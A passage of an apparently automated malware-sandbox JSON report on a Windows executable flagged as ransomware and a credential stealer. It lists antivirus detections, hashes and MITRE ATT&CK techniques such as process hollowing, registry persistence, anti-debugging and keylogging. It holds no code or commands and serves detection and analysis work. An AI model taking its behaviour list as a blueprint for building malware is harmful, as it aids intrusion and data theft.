FRBU4JD","12288:RBU4JD1","12288:BU4JD1s","12288:U4JD1sm","12288:4JD1smQ","12288:JD1smQ5","12288:D1smQ5K","12288:1smQ5K4","12288:smQ5K4d","12288:mQ5K4dH","12288:Q5K4dHi","12288:5K4dHit","12288:K4dHit+","12288:4dHit+q","12288:dHit+qh","12288:Hit+qhe","12288:it+qheZ","12288:t+qheZJ","12288:+qheZJp","12288:qheZJpQ","12288:heZJpQa","12288:eZJpQa2","12288:ZJpQa2b","12288:JpQa2bF","12288:pQa2bFG","12288:Qa2bFGa","12288:a2bFGaN","12288:2bFGaNQ","12288:bFGaNQF","12288:FGaNQFB","12288:GaNQFB0","12288:aNQFB0d","12288:NQFB0dg","12288:QFB0dg5","12288:FB0dg5x","12288:B0dg5xh","12288:0dg5xha","12288:dg5xhaI","12288:g5xhaII","12288:5xhaIIx","12288:xhaIIx5","12288:haIIx5F","12288:aIIx5Fx","12288:IIx5Fxe","12288:Ix5Fxe+","24576:FRBU4JD","24576:RBU4JD1","24576:BU4JD1s","24576:U4JD1sm","24576:4JD1smQ","24576:JD1smQ5","24576:D1smQ5K","24576:1smQ5K4","24576:smQ5K4d","24576:mQ5K4dH","24576:Q5K4dHi","24576:5K4dHit","24576:K4dHit+","24576:4dHit+q","24576:dHit+qh","24576:Hit+qhe","24576:it+qheZ","24576:t+qheZJ","24576:+qheZJp","24576:qheZJpQ","24576:heZJpQa","24576:eZJpQa2","24576:ZJpQa2b","24576:JpQa2bF","24576:pQa2bFG","24576:Qa2bFGa","24576:a2bFGaN","24576:2bFGaNQ","24576:bFGaNQF","24576:FGaNQFB","24576:GaNQFB0","24576:aNQFB0d","24576:NQFB0dg","24576:QFB0dg5","24576:FB0dg5x","24576:B0dg5xh","24576:0dg5xha","24576:dg5xhaI","24576:g5xhaII","24576:5xhaIIx","24576:xhaIIx5","24576:haIIx5F","24576:aIIx5Fx","24576:IIx5Fxe","24576:Ix5Fxe+","12288:KC1MK4d","12288:C1MK4dC","12288:1MK4dC4","12288:MK4dC4N","12288:K4dC4NZ","12288:4dC4NZJ","12288:dC4NZJp","12288:C4NZJpQ","12288:4NZJpQa","12288:NZJpQao","12288:ZJpQaoJ","12288:JpQaoJQ","12288:pQaoJQF","12288:QaoJQFB","12288:aoJQFBS","12288:oJQFBSg","12288:JQFBSgr","12288:QFBSgrQ","12288:FBSgrQT","12288:BSgrQTF","12288:SgrQTFx","12288:grQTFxe","12288:rQTFxe+"],"imphash":"97d476407c8713e8d8094dcaf80101c6"},"file_info":{"file_name":"7463534709.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":730624,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1684748111000,"last_seen":1743932797000,"last_multi_scan":1743932797000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["stop","criminal","ransomware","dridex","filecoder","maldoc","banker","malicious"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":80},"sandbox_signatures":{"informative_count":196,"suspicious_count":22,"malicious_count":13,"total":231},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/Win32.Stealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1374564","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Zard.24","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Stopcrypt-10002478-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Zard.24 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HTPC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.STOP.dg!n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005a8b461 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Lockbit-FSWW!6A2EEBCA0CEA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Stealer.jwhsqq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_95","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-XU","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.JVC.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenusT.DIVZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_40.4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Stealer.Win32.71353","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Mint.Zard.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"malicious","value":"Calls an API typically used to execute an application"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to modify system service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"YARA signature match - Anti-Debugging (PEB)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"YARA signature match - Anti Debugging Used"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"},{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Drops executable files with unusual extensions"},{"type":"suspicious","value":"Drops executable files inside user directory"},{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"},{"type":"suspicious","value":"Rename many files (often indicator of ransomware infection)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"tactic":"Discovery","technique":"Device Driver 